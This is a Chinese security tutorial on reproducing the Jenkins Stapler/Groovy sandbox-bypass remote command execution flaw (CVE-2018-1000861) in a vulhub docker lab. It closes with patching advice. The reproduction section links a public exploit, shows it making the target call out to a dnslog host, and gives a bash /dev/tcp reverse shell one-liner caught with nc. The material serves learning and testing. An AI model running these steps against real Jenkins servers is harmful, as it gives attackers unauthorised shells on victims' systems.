Jenkins远程命令执行漏洞 – 作者:东塔安全学院

0x00简介

Jenkins自动化部署可以解决集成、测试、部署等重复性的工作,工具集成的效率明显高于人工操作;并且持续集成可以更早的获取代码变更的信息,从而更早的进入测试阶段,更早的发现问题,这样解决问题的成本就会显著下降:持续集成缩短了从开发、集成、测试、部署各个环节的时间,从而也就缩短了中间出现的等待时间;持续集成也意味着开发、集成、测试、部署得以持续。

0x01漏洞概述

Jenkins使用Stapler框架开发,其允许用户通过URL PATH来调用一次public方法。由于这个过程没有做限制,攻击者可以构造一些特殊的PATH来执行一些敏感的Java方法。通过这个漏洞,可以找到很多可供利用的利用链。其中最严重的就是绕过Groovy沙盒导致未授权用户可执行任意命令:Jenkins在沙盒中执行Groovy前会先检查脚本是否有错误,检查操作是没有沙盒的,攻击者可以通过Meta-Programming的方式,在检查这个步骤时执行任意命令。

0x02影响范围

2.153 and earlier

LTS 2.138.3 and earlier

0x03环境搭建

1. 本次实验靶场使用vulhub中docker搭建,vulhub下载地址:

https://github.com/vulhub/vulhub

2. 然后在虚拟机中安装docker,以及安装docker-compose命令,安装方法请自行百度

3. 下载完成后传入安装了虚拟机,然后进入相关漏洞目录

cd vulhub-master/jenkins/CVE-2018-1000861/

图片[1]-Jenkins远程命令执行漏洞 – 作者:东塔安全学院-安全小百科

4.使用docker-compose up -d运行漏洞环境

图片[2]-Jenkins远程命令执行漏洞 – 作者:东塔安全学院-安全小百科

5. 环境启动后,访问http://your-ip:8080即可看到一个已经成功初始化的Jenkins

图片[3]-Jenkins远程命令执行漏洞 – 作者:东塔安全学院-安全小百科

0x04漏洞复现

1. 使用一下命令查看目标的版本

curl -s -I http://your-ip:8080|grep X-Jenkins

图片[4]-Jenkins远程命令执行漏洞 – 作者:东塔安全学院-安全小百科

2.由于此漏洞是没有回显的,这里使用GitHub上漏exp执行命令。注:也可使用burp抓包执行

exp下载地址:https://github.com/orangetw/awesome-jenkins-rce-2019

下载完成后使用python2执行检查漏洞python2 exp.py http://your-ip:8080 “curl dnslog ”

图片[5]-Jenkins远程命令执行漏洞 – 作者:东塔安全学院-安全小百科

图片[6]-Jenkins远程命令执行漏洞 – 作者:东塔安全学院-安全小百科

3.由于此漏洞没有回显,这里直接反弹shell //注:反弹shell需要base64加密

bash -i >& /dev/tcp/your-ip/port 0>&1

base64加密网址:http://www.jackson-t.ca/runtime-exec-payloads.html

图片[7]-Jenkins远程命令执行漏洞 – 作者:东塔安全学院-安全小百科

3.1然后在nc上监听shell的ip和端口,使用exp发送加密后的shell

图片[8]-Jenkins远程命令执行漏洞 – 作者:东塔安全学院-安全小百科

图片[9]-Jenkins远程命令执行漏洞 – 作者:东塔安全学院-安全小百科

小结

1. 本次漏洞复现需要使用到docker环境,需要会用docker基本命令

2. 需要使用到linux相关的命令,以及linux反弹shell的语法

0x05修复建议

1.升级到最新版本或打上相关补丁

2.尽量不要开放到公网上

3.限制IP访问

来源:freebuf.com 2020-12-23 20:10:08 by: 东塔安全学院

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论